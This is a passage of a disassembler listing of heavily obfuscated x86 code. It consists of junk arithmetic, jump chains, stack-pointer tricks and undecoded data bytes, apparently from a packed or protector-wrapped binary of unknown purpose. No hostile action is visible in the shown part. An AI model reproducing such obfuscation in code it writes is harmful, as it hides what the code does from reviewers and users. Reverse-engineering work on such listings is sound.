		mov	edi, eax


loc_5ADBD8:				; CODE XREF: sdfs____:0059D4B4j
		push	edx
		mov	edx, 7C5633EFh
		or	edx, 2C5A34DAh
		neg	edx
		sub	edx, 70513B90h
		add	edx, 1
		dec	edx
		sub	edx, 13508C6Dh
		jmp	loc_5A0A49
; ---------------------------------------------------------------------------
		db 89h
		dd 0B9512424h, 4, 4244481h, 73C468C7h, 4244C01h, 4246C81h
		dd 73C468C7h, 0A37BE959h, 4BAFFFFh, 0E9000000h,	0FFFF4094h
; ---------------------------------------------------------------------------


loc_5ADC28:				; CODE XREF: sdfs____:005AEC50j
		pop	edx
		push	574Eh
		mov	[esp], edx
		mov	dl, 3Dh
		or	dl, 68h
		push	eax
		mov	ah, 63h
		shl	ah, 5
		or	ah, 0DCh
		or	ah, 0ACh
		add	ah, 28h
		add	dl, 0Ch
		sub	dl, ah
		sub	dl, 0Ch
		mov	eax, [esp]
		add	esp, 4
		shr	dl, 8
		push	small 7E12h
		mov	[esp], cx
		push	ax
		mov	al, 91h
		jmp	loc_5AC18D
; ---------------------------------------------------------------------------


loc_5ADC6A:				; CODE XREF: sdfs____:0059FF30j
		shl	edx, 4
		xor	edx, 422E74C4h
		add	ebp, edx
		pop	edx
		push	esi
		mov	esi, 1D4A3DF7h
		shl	esi, 5
		shl	esi, 5
		sub	esi, 28F7DBFCh
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		xor	[esp+4], edi
		pop	edi
		pop	dword ptr [edi+20h]
		xor	dword ptr [edi+20h], 15BB1265h
		jmp	loc_5AC38A
; ---------------------------------------------------------------------------


loc_5ADCA5:				; CODE XREF: sdfs____:005A2AE5j
		mov	eax, 40A22DF9h
		inc	eax
		jmp	loc_5A5CF7
; ---------------------------------------------------------------------------


loc_5ADCB0:				; CODE XREF: sdfs____:005A93C5j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		and	eax, 0DB420B9h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 1DFA542Ch
		xor	eax, esi
		pop	esi
		add	ecx, eax
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5A51B5
; ---------------------------------------------------------------------------
		dd 0FD68505Bh, 58349618h, 0FD2A6725h, 0ACBD5532h, 0E9453D67h
		dd 0FFFEE6ECh, 0C583822Dh, 8B5B50C7h, 0C4832404h, 7EE94304h
		db 29h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ADD13:				; CODE XREF: sdfs____:005B01A4j
		push	ebp
		mov	ebp, 414B610Eh
		and	eax, ebp
		jmp	loc_5AF25C
; ---------------------------------------------------------------------------


loc_5ADD20:				; CODE XREF: sdfs____:005A976Ej
		mov	ecx, esp
		push	edx
		mov	edx, 55925040h
		push	edi
		mov	edi, 6500162Ah
		jmp	loc_5AABAE
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 240C8900h, 0FFD26EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5ADD41:				; CODE XREF: sdfs____:005AB6A7j
		add	edx, ebx
		mov	eax, [edx]
		jmp	loc_5A132E
; ---------------------------------------------------------------------------


loc_5ADD4A:				; CODE XREF: sdfs____:005A091Fj
		add	esp, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 4
		add	ebp, edi
		push	dword ptr [esp]
		pop	edi
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_5A84C1
; ---------------------------------------------------------------------------


loc_5ADD81:				; CODE XREF: sdfs____:005ABD24j
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebp
		push	small 56DCh
		pop	bp
		not	bp
		and	bp, 46D6h
		push	edi
		mov	di, 72BDh
		sub	di, 7EBBh
		jmp	loc_59D12A
; ---------------------------------------------------------------------------


loc_5ADDAD:				; CODE XREF: sdfs____:005A6F74j
		mov	eax, 5EAB24E3h
		inc	eax
		jmp	loc_59ADF1
; ---------------------------------------------------------------------------


loc_5ADDB8:				; CODE XREF: sdfs____:005A66D1j
		push	esp
		mov	ecx, [esp]
		jmp	loc_5B01E0
; ---------------------------------------------------------------------------


loc_5ADDC1:				; CODE XREF: sdfs____:005A855Ej
		pop	ebx
		push	edx
		jmp	loc_5A3D5B
; ---------------------------------------------------------------------------


loc_5ADDC8:				; CODE XREF: sdfs____:0059DDE4j
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_59D3B7
; ---------------------------------------------------------------------------


loc_5ADDD3:				; CODE XREF: sdfs____:0059D433j
		push	edx
		push	esi
		jmp	loc_5AD4A7
; ---------------------------------------------------------------------------


loc_5ADDDA:				; CODE XREF: sdfs____:005A96ABj
		pop	ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5A63DC
; ---------------------------------------------------------------------------


loc_5ADDE4:				; CODE XREF: sdfs____:0059BB45j
		add	eax, 0A467BAFh
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	ebx, edx
		pop	edx
		push	14A4h
		mov	[esp], ebp
		push	eax
		jmp	loc_5A2B7B
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 70511800h, 91D7BB53h, 0DE29E062h, 5EF7295Bh,	0C781C701h
		dd 256A63ECh, 2C78158h,	0E9000000h, 0FFFEF29Fh,	8069F480h
		dd 830F0FCCh, 0FFFF36E8h, 0F02E4C0h, 0FED2E589h
		db 0FFh, 0B6h, 0B3h
; ---------------------------------------------------------------------------


loc_5ADE3F:				; CODE XREF: sdfs____:0059EBC5j
		pop	ebx
		jmp	loc_5A0F09
; ---------------------------------------------------------------------------
		db 4Bh,	81h, 0C3h
		dd 0D8958E49h, 815BDD01h, 0B6AFCFC5h, 5DE9019Eh, 4E981h
		dd 4CE90000h, 81FFFF83h, 621B02C7h, 5FFD8900h, 0E95DEA01h
		dd 0FFFEBDCBh
; ---------------------------------------------------------------------------


loc_5ADE74:				; CODE XREF: sdfs____:005AC492j
		pop	edi
		push	esi
		mov	esi, 17CB7D02h
		xor	esi, 589245B6h
		xor	esi, 73427A2Fh
		or	esi, 7CF34378h
		jmp	loc_5A6192
; ---------------------------------------------------------------------------


loc_5ADE92:				; CODE XREF: sdfs____:005A0545j
		shr	ebp, 1
		sub	ebp, 0A2E25E88h
		mov	edi, ebp
		pop	ebp
		dec	edi
		jmp	loc_59B17B
; ---------------------------------------------------------------------------


loc_5ADEA3:				; CODE XREF: sdfs____:00599256j
		mov	ebx, [esp]
		add	esp, 4
		sub	dh, 2Ch
		or	ch, dh
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 4
		sub	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	bl, 0B5h
		jmp	loc_5A9235
; ---------------------------------------------------------------------------


loc_5ADECF:				; CODE XREF: sdfs____:0059AFCEj
		add	eax, ecx
		sub	eax, 8C87450h
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_5A3B2A
; ---------------------------------------------------------------------------


loc_5ADEE6:				; CODE XREF: sdfs____:005A8830j
		mov	ecx, 3F547326h
		jmp	loc_59EAA4
; ---------------------------------------------------------------------------


loc_5ADEF0:				; CODE XREF: sdfs____:0059A69Bj
		push	794Bh
		jmp	loc_59D8F5
; ---------------------------------------------------------------------------


loc_5ADEFA:				; CODE XREF: sdfs____:0059F9DDj
		sub	edx, 7BA86717h
		neg	edx
		inc	edx
		jmp	loc_59E1D3
; ---------------------------------------------------------------------------


loc_5ADF08:				; CODE XREF: sdfs____:00599734j
		push	ecx
		mov	ecx, 73701D86h
		shl	ecx, 5
		sub	ecx, 0B80442C4h
		jmp	loc_5AB948
; ---------------------------------------------------------------------------


loc_5ADF1C:				; CODE XREF: sdfs____:0059D410j
		sub	ecx, 30D947BBh
		jb	loc_59AC64
		xor	ecx, 4B02B769h
		mov	edx, ecx
		pop	ecx
		not	edx
		sub	edx, 0A2AC9321h
		add	esi, edx
		pop	edx
		jmp	loc_5AD6D4
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 31h
		dd 1AD8FE1h, 0C1815BD9h, 532718A0h, 685FBF57h, 0F9297D5Bh
		dd 0FF515E5Fh, 0E9042474h, 0FFFEDA9Fh
; ---------------------------------------------------------------------------


loc_5ADF64:				; CODE XREF: sdfs____:005A6757j
		mov	[esp], edx
		mov	dl, bh
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5ADA8B
; ---------------------------------------------------------------------------


loc_5ADF77:				; CODE XREF: sdfs____:005993E4j
		add	ebx, ebp
		pop	ebp
		jmp	loc_59BF55
; ---------------------------------------------------------------------------


loc_5ADF7F:				; CODE XREF: sdfs____:005AC9D9j
		mov	al, ch
		not	al
		jmp	loc_59A06D
; ---------------------------------------------------------------------------


loc_5ADF88:				; CODE XREF: sdfs____:005A0A89j
		add	bl, dl
		add	bl, 73h
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_5A734D
; ---------------------------------------------------------------------------


loc_5ADFA1:				; CODE XREF: sdfs____:0059D112j
		mov	ebp, 4E141836h
		shr	ebp, 7
		neg	ebp
		push	ecx
		mov	ecx, 48119A7h
		add	ecx, 215FF534h
		and	ebp, ecx
		pop	ecx
		push	edx
		mov	edx, 30A12CE2h
		neg	edx
		shl	edx, 1
		sub	edx, 0A462DDACh
		sub	ebp, edx
		pop	edx
		sub	ebx, 36482E80h
		sub	ebx, ebp
		add	ebx, 36482E80h
		jmp	loc_5AA3E4
; ---------------------------------------------------------------------------


loc_5ADFE0:				; CODE XREF: sdfs____:005A3207j
		add	ebx, 0D8F55A4h
		sub	ebx, 1A1131EAh
		and	ebx, 20FF7426h
		shr	ebx, 5
		add	ebx, 15A58B71h
		add	eax, ebx
		pop	ebx
		xor	esi, eax
		pop	eax
		add	edx, 11036B18h
		add	edx, esi
		sub	edx, 11036B18h
		mov	esi, [esp]
		add	esp, 4
		add	edx, ecx
		sub	edx, 2A1A64B1h
		mov	ecx, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5AE02F:				; CODE XREF: sdfs____:00599BFBj
		push	2435h
		mov	[esp], ebx
		mov	ebx, 0FD9F1647h
		add	esi, 37526610h
		add	esi, ebx
		push	edi
		jmp	loc_5AF637
; ---------------------------------------------------------------------------


loc_5AE04A:				; CODE XREF: sdfs____:0059F735j
		add	esp, 4
		push	61AFh
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_5A384C
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 51CF2376h
		neg	ecx
		sub	ecx, 0AE30DC86h
		add	ebp, 117B3D7Ah
		sub	ebp, ecx
		sub	ebp, 117B3D7Ah
		mov	ecx, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5AA96F
; ---------------------------------------------------------------------------


loc_5AE0B4:				; CODE XREF: sdfs____:005B0185j
		mov	bh, 54h
		mov	ch, 46h
		add	ch, bh
		pop	ebx
		shl	ch, 5
		push	6CCBh
		mov	[esp], ecx
		not	byte ptr [esp+1]
		pop	ecx
		xor	ch, 88h
		sub	al, ch
		pop	ecx
		push	edx
		push	ebx
		push	edx
		mov	dl, 0ADh
		mov	bh, 5Fh
		jmp	loc_5A2AB2
; ---------------------------------------------------------------------------


loc_5AE0DD:				; CODE XREF: sdfs____:005A7EFDj
		mov	eax, 2540247Eh
		add	edi, 4A7D706Dh
		add	edi, eax
		sub	edi, 4A7D706Dh
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 4
		add	ecx, esi
		jmp	loc_5A44B0
; ---------------------------------------------------------------------------


loc_5AE103:				; CODE XREF: sdfs____:0059D060j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		or	ch, 28h
		and	ch, 7Fh
		push	ax
		jmp	loc_59AAB1
; ---------------------------------------------------------------------------


loc_5AE120:				; CODE XREF: sdfs____:005AAB39j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5A232F
; ---------------------------------------------------------------------------


loc_5AE12C:				; CODE XREF: sdfs____:005AE596j
		pop	edx
		push	71F8h
		mov	[esp], ebx
		push	edx
		mov	edx, 33FE3DA4h
		jmp	loc_5A7FF6
; ---------------------------------------------------------------------------


loc_5AE140:				; CODE XREF: sdfs____:005A8F56j
		sub	bl, 3Eh
		add	bl, dh
		add	bl, 3Eh
		jmp	loc_5AE7E9
; ---------------------------------------------------------------------------
		db 80h,	0C1h, 92h
		dd 0F12C180h, 0FED54487h, 0E95366FFh, 0FFFF4FBCh, 582434FFh
		db 8Ah,	0C3h
; ---------------------------------------------------------------------------


loc_5AE166:				; CODE XREF: sdfs____:0059CF6Ej
		sub	dword ptr [esp], 60BA37BAh
		push	eax
		mov	eax, 2C4A365Fh
		xor	eax, 339B3953h
		jmp	loc_5AE539
; ---------------------------------------------------------------------------


loc_5AE17D:				; CODE XREF: sdfs____:005A5FDAj
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mul	cl
		jmp	loc_5AECE8
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48124h, 2C000000h,	4E8286Fh, 4526E96Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AE1B6:				; CODE XREF: sdfs____:005A0E7Fj
		push	eax
		jmp	loc_5A9415
; ---------------------------------------------------------------------------


loc_5AE1BC:				; CODE XREF: sdfs____:005A3655j
		add	esp, 4
		sub	edx, 2BF87D5Fh
		add	edx, edi
		push	edi
		mov	edi, 3AB82358h
		and	edi, 649620CCh
		inc	edi
		add	edi, 0B685D16h
		add	edx, edi
		jmp	loc_59CB94
; ---------------------------------------------------------------------------


loc_5AE1E4:				; CODE XREF: sdfs____:005A44BCj
		add	eax, ebx
		mov	ebx, [esp]
		jmp	loc_5A2FAE
; ---------------------------------------------------------------------------
		dw 0F701h
		dd 80DC781h, 0C7815430h, 6B2E25F8h, 8324348Bh, 0CA6804C4h
		dd 8900005Eh, 74FF243Ch, 8F5F0424h, 248B2404h, 2434FF24h
		dd 81240C8Bh, 4C4h, 0F856800h, 3C890000h, 5A545224h, 4C281h
		dd 94E90000h
		db 0EDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AE237:				; CODE XREF: sdfs____:0059A028j
		jmp	loc_59DCE9
; ---------------------------------------------------------------------------
		dd 3304EB83h, 1C31241Ch, 241C3324h, 7F3E9h
		db 0
; ---------------------------------------------------------------------------


loc_5AE24D:				; CODE XREF: sdfs____:005A7B9Bj
		xor	cl, 9Fh
		jmp	loc_5A67D9
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0C8h
		dd 0E9316D31h, 0FFFF6CF7h
; ---------------------------------------------------------------------------


loc_5AE260:				; CODE XREF: sdfs____:005AF895j
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	edx, 2
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		shr	byte ptr [esp],	cl
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------
		dw 405h
		dd 0E9000000h, 0FFFED8E7h, 8904EC83h, 4BF243Ch,	0E9000000h
		dd 0FFFFA5E7h
; ---------------------------------------------------------------------------


loc_5AE2AC:				; CODE XREF: sdfs____:005AFB54j
		add	eax, esi
		pop	esi
		xchg	eax, [esp]
		mov	esp, [esp]
		xchg	edx, [esp]
		jmp	loc_5A3AB4
; ---------------------------------------------------------------------------


loc_5AE2BD:				; CODE XREF: sdfs____:0059C279j
		mov	ebx, eax
		pop	eax
		shl	ebx, 1
		shl	ebx, 8
		or	ebx, 2E005ABFh
		dec	ebx
		xor	ebx, 27E21940h
		push	edx
		jmp	loc_5A7D05
; ---------------------------------------------------------------------------


loc_5AE2D8:				; CODE XREF: sdfs____:0059FDCDj
		push	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		xor	edx, edi
		xor	edi, edx
		xor	edx, edi
		inc	edi
		push	0B04h
		jmp	loc_5A8A0A
; ---------------------------------------------------------------------------


loc_5AE303:				; CODE XREF: sdfs____:005A7D12j
		mov	edx, [esp]
		jmp	loc_5AFDB4
; ---------------------------------------------------------------------------


loc_5AE30B:				; CODE XREF: sdfs____:005A1346j
		add	edx, esi
		pop	esi
		add	edx, edi
		push	dword ptr [edx]
		jmp	loc_5ABB10
; ---------------------------------------------------------------------------


loc_5AE317:				; CODE XREF: sdfs____:0059B147j
		not	dword ptr [esp]
		pop	eax
		dec	eax
		add	eax, 152E18C3h
		jmp	loc_5AF1C6
; ---------------------------------------------------------------------------


loc_5AE326:				; CODE XREF: sdfs____:005A2797j
		not	edx
		push	ecx
		mov	ecx, 528B3E33h
		and	ecx, 76AB6804h
		shr	ecx, 1
		add	ecx, 5BE43E53h
		push	esi
		jmp	loc_5AD4F9
; ---------------------------------------------------------------------------


loc_5AE342:				; CODE XREF: sdfs____:005A4957j
		xor	esi, [esp]
		jmp	loc_5ADA2F
; ---------------------------------------------------------------------------


loc_5AE34A:				; CODE XREF: sdfs____:005A83F0j
		sub	ebp, 6ADA0AFBh
		pop	eax
		push	ebx
		mov	ebx, 2
		add	ebp, 1842759Fh
		add	ebp, ebx
		sub	ebp, 1842759Fh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		jmp	loc_59B101
; ---------------------------------------------------------------------------


loc_5AE379:				; CODE XREF: sdfs____:00599271j
		mov	edi, 15935D84h
		and	edx, edi
		push	dword ptr [esp]
		pop	edi
		push	ecx
		jmp	loc_59ED28
; ---------------------------------------------------------------------------


loc_5AE38A:				; CODE XREF: sdfs____:005A43F9j
		mov	dl, 0CFh
		xor	cl, dl
		pop	edx
		xor	cl, 0B6h
		jmp	loc_5A197C
; ---------------------------------------------------------------------------


loc_5AE397:				; CODE XREF: sdfs____:0059FBBDj
		pop	esp
		mov	[esp], edx
		push	eax
		mov	al, 0Fh
		push	eax
		mov	al, 5Dh
		jmp	loc_5ACA93
; ---------------------------------------------------------------------------


loc_5AE3A6:				; CODE XREF: sdfs____:0059B7AAj
		add	bl, 24h
		jmp	loc_5AEC74
; ---------------------------------------------------------------------------


loc_5AE3AE:				; CODE XREF: sdfs____:005AABA4j
		pop	esi
		push	esi
		push	eax
		mov	eax, 25E3331Fh
		xor	[esp+4], eax
		mov	eax, [esp]
		push	ecx
		push	esp
		mov	ecx, [esp]
		jmp	loc_59969C
; ---------------------------------------------------------------------------


loc_5AE3C7:				; CODE XREF: sdfs____:loc_59CDF1j
		push	ecx
		push	ebp
		mov	ebp, 6B4931F1h
		jmp	loc_5A633D
; ---------------------------------------------------------------------------


loc_5AE3D3:				; CODE XREF: sdfs____:0059FE74j
		mov	edx, [esp]
		jmp	loc_59F6F5
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FF3BC4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AE3E1:				; CODE XREF: sdfs____:005B0261j
		pop	ecx
		push	edi
		jmp	loc_59C66D
; ---------------------------------------------------------------------------


loc_5AE3E8:				; CODE XREF: sdfs____:0059CB73j
		push	edi
		mov	edi, 47CC3A41h
		jmp	loc_5A68B2
; ---------------------------------------------------------------------------


loc_5AE3F3:				; CODE XREF: sdfs____:005A761Ej
		push	edi
		push	eax
		mov	eax, 0FFFFFFFFh
		mov	edi, eax
		mov	eax, [esp]
		add	esp, 4
		sub	eax, edi
		pop	edi
		jmp	loc_5A1BEA
; ---------------------------------------------------------------------------


loc_5AE40A:				; CODE XREF: sdfs____:0059956Fj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_599F84
; ---------------------------------------------------------------------------


loc_5AE41A:				; CODE XREF: sdfs____:0059AE34j
		mov	edi, 73CA1BCEh
		xor	edx, edi
		pop	edi
		add	ebp, edx
		pop	edx
		jmp	loc_59DFED
; ---------------------------------------------------------------------------


loc_5AE42A:				; CODE XREF: sdfs____:005AF9B9j
		mov	edx, 732937BFh
		sub	ebp, edx
		jmp	loc_5A86DC
; ---------------------------------------------------------------------------


loc_5AE436:				; CODE XREF: sdfs____:loc_5A662Bj
		xor	esi, 4C251592h
		jge	loc_59E2EA
		shr	esi, 3
		jmp	loc_59BC20
; ---------------------------------------------------------------------------
		dw 0FE88h
		dd 0E6885254h, 34FFF388h, 0C4835A24h, 7B776804h, 0C890000h
		dd 0DC885024h, 0E958E188h, 0FFFFA900h
; ---------------------------------------------------------------------------


loc_5AE46C:				; CODE XREF: sdfs____:005A5DE3j
		pop	dx
		add	al, 0CAh
		sub	al, 8Ch
		add	al, dl
		push	5ACBh
		mov	[esp], ecx
		mov	ch, 0E1h
		jmp	loc_5ACBB7
; ---------------------------------------------------------------------------


loc_5AE483:				; CODE XREF: sdfs____:loc_5AB85Cj
		add	ebp, 5CD7631Ah
		mov	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5ABBB8
; ---------------------------------------------------------------------------
		dw 0E7C1h
		dd 0F992E902h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AE49E:				; CODE XREF: sdfs____:005A7535j
					; sdfs____:005AB448j
		add	ecx, 1F8F1D36h
		jmp	loc_59B707
; ---------------------------------------------------------------------------
byte_5AE4A9	db 66h,	8Bh, 0Ch	; DATA XREF: sdfs____:00598F90o
		dd 0E1895124h, 0FED33CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AE4B5:				; CODE XREF: sdfs____:005A3E7Cj
		mov	eax, 25D70BAEh
		xchg	eax, edx
		jmp	loc_5A234C
; ---------------------------------------------------------------------------
		dd 35840F4Bh, 81000000h, 720EBCEBh, 79880F19h, 0E9FFFFADh
		dd 8E4h
; ---------------------------------------------------------------------------


loc_5AE4D8:				; CODE XREF: sdfs____:00599FF5j
		pop	esp
		jmp	loc_59ED35
; ---------------------------------------------------------------------------


loc_5AE4DE:				; CODE XREF: sdfs____:0059A206j
					; sdfs____:0059FC72j ...
		add	cl, 0E3h
		sub	bl, cl
		mov	ecx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		push	7829h
		mov	[esp], ebp
		jmp	loc_5A69CE
; ---------------------------------------------------------------------------


loc_5AE4FC:				; CODE XREF: sdfs____:005A0C1Ej
		pop	ebp
		push	eax
		push	esp
		mov	eax, [esp]
		jmp	loc_5ACF18
; ---------------------------------------------------------------------------


loc_5AE507:				; CODE XREF: sdfs____:005A2CABj
		neg	ecx
		shr	ecx, 5
		push	esi
		mov	esi, 0CF1126C8h
		sub	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5A6F79
; ---------------------------------------------------------------------------


loc_5AE51F:				; CODE XREF: sdfs____:005A8BCCj
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		push	eax
		mov	eax, esp
		push	ebx
		mov	ebx, 12581ACAh
		jmp	loc_59B157
; ---------------------------------------------------------------------------


loc_5AE539:				; CODE XREF: sdfs____:005AE178j
		jp	loc_5A089C
		and	eax, 2BB56192h
		jnz	loc_5A80D6
		mov	al, 23h
		mov	dh, bl
		xor	eax, 49A1B3Bh
		xor	eax, 38425503h
		xor	eax, 0C94DBE14h
		add	esi, eax
		pop	eax
		add	esi, 51DD5E8Eh
		sub	esi, ebx
		sub	esi, 51DD5E8Eh
		sub	esi, 6F724DD6h
		pop	ebx
		push	ebx
		mov	ebx, 0D5245DCh
		jmp	loc_5A7FDB
; ---------------------------------------------------------------------------


loc_5AE580:				; CODE XREF: sdfs____:005B0158j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5AA61E
; ---------------------------------------------------------------------------


loc_5AE58B:				; CODE XREF: sdfs____:00599659j
		shr	eax, 12h
		xor	eax, ecx
		jmp	loc_59F68B
; ---------------------------------------------------------------------------


loc_5AE595:				; CODE XREF: sdfs____:0059F331j
					; sdfs____:005A1977j
		pop	edi
		jmp	loc_5AE12C
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFEAB6Fh, 0F606E7C0h, 1AF8E9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5AE5AA:				; CODE XREF: sdfs____:005AB11Bj
		add	esp, 4
		xor	edi, 73343F8Ah
		jmp	loc_5A4D38
; ---------------------------------------------------------------------------
		dd 815BDE31h, 18053FEEh, 481564Eh, 30733624h, 362D5864h
		dd 5E643073h, 0D08E0C1h, 0C610148h, 68h, 242C8100h, 47AC23B1h
		dd 0F6242C81h, 2954ED7Bh, 4812404h, 0ED7BF624h,	24048154h
		dd 47AC23B1h, 3507E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AE602:				; CODE XREF: sdfs____:0059FA09j
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_59C087
; ---------------------------------------------------------------------------


loc_5AE60B:				; CODE XREF: sdfs____:005A4716j
		not	ebx
		and	ebx, 444328F6h
		xor	ebx, 5ED73804h
		sub	ecx, ebx
		pop	ebx
		sub	ecx, 30C07046h
		mov	esi, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5AEAFA
; ---------------------------------------------------------------------------
byte_5AE643	db 0FFh			; DATA XREF: sdfs____:00598EECo
		dd 34FF2434h, 89575824h, 4C781E7h, 83000000h, 3C8704C7h
		dd 0C5E95C24h
		db 22h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AE65F:				; CODE XREF: sdfs____:0059E454j
		pop	ebx
		jmp	loc_5A83E2
; ---------------------------------------------------------------------------


loc_5AE665:				; CODE XREF: sdfs____:005A8EB5j
		xchg	edx, [esp]
		jmp	loc_5AE843
; ---------------------------------------------------------------------------


loc_5AE66D:				; CODE XREF: sdfs____:0059AE55j
		neg	ebp
		xor	ebp, 0AF17F9B2h
		add	esi, 65AF61AAh
		add	esi, ebp
		sub	esi, 65AF61AAh
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5AA90F
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0C681E689h, 4, 8704EE83h, 895C2434h,	0C1E9241Ch
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AE6AB:				; CODE XREF: sdfs____:0059DC82j
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_59910F
; ---------------------------------------------------------------------------
word_5AE6B6	dw 8B66h		; DATA XREF: sdfs____:0059906Co
		dd 0EC81240Ch, 4, 54241C89h, 0E9241C8Bh, 0FFFF1675h
; ---------------------------------------------------------------------------


loc_5AE6CC:				; CODE XREF: sdfs____:005A2419j
		shl	edx, 5
		jmp	loc_59CDF1
; ---------------------------------------------------------------------------
		dd 1EE9F589h
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AE6DB:				; CODE XREF: sdfs____:005A648Fj
		mov	ebp, esp
		push	ebx
		mov	ebx, 66F55275h
		add	ebx, 6A8E6C56h
		sub	ebx, 1D61541Ah
		sub	ebx, 575470A3h
		add	ebx, 2B5F5303h
		sub	ebx, 721202A1h
		jmp	loc_5AA870
; ---------------------------------------------------------------------------
		dw 0FE5Bh
		dd 0C92AE9C6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AE70E:				; CODE XREF: sdfs____:005A5EFAj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	edx, 2
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		test	cx, ax
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------
byte_5AE72D	db 0FFh, 34h, 24h	; DATA XREF: sdfs____:00598E64o
aXhns		db 'Xh­S',0
		align 2
		dw 3C89h
		dd 81E78924h, 4C7h, 3C3F6800h, 34890000h, 4BE24h, 0E9520000h
		dd 1058h
; ---------------------------------------------------------------------------


loc_5AE754:				; CODE XREF: sdfs____:005A28D0j
		sub	bh, 0DEh
		add	dl, bh
		pop	ebx
		push	ax
		mov	ah, 3Eh
		jmp	loc_5AC4CA
; ---------------------------------------------------------------------------


loc_5AE763:				; CODE XREF: sdfs____:005A1D41j
					; sdfs____:005A447Aj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		shl	ebx, 4
		sub	ebx, 16AFD1D0h
		and	eax, ebx
		jmp	loc_5AAA60
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 0EEh
		db 0B3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AE783:				; CODE XREF: sdfs____:005ACD6Ej
		xor	edx, [esp]
		pop	esp
		push	ecx
		not	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 27C62E93h
		push	ecx
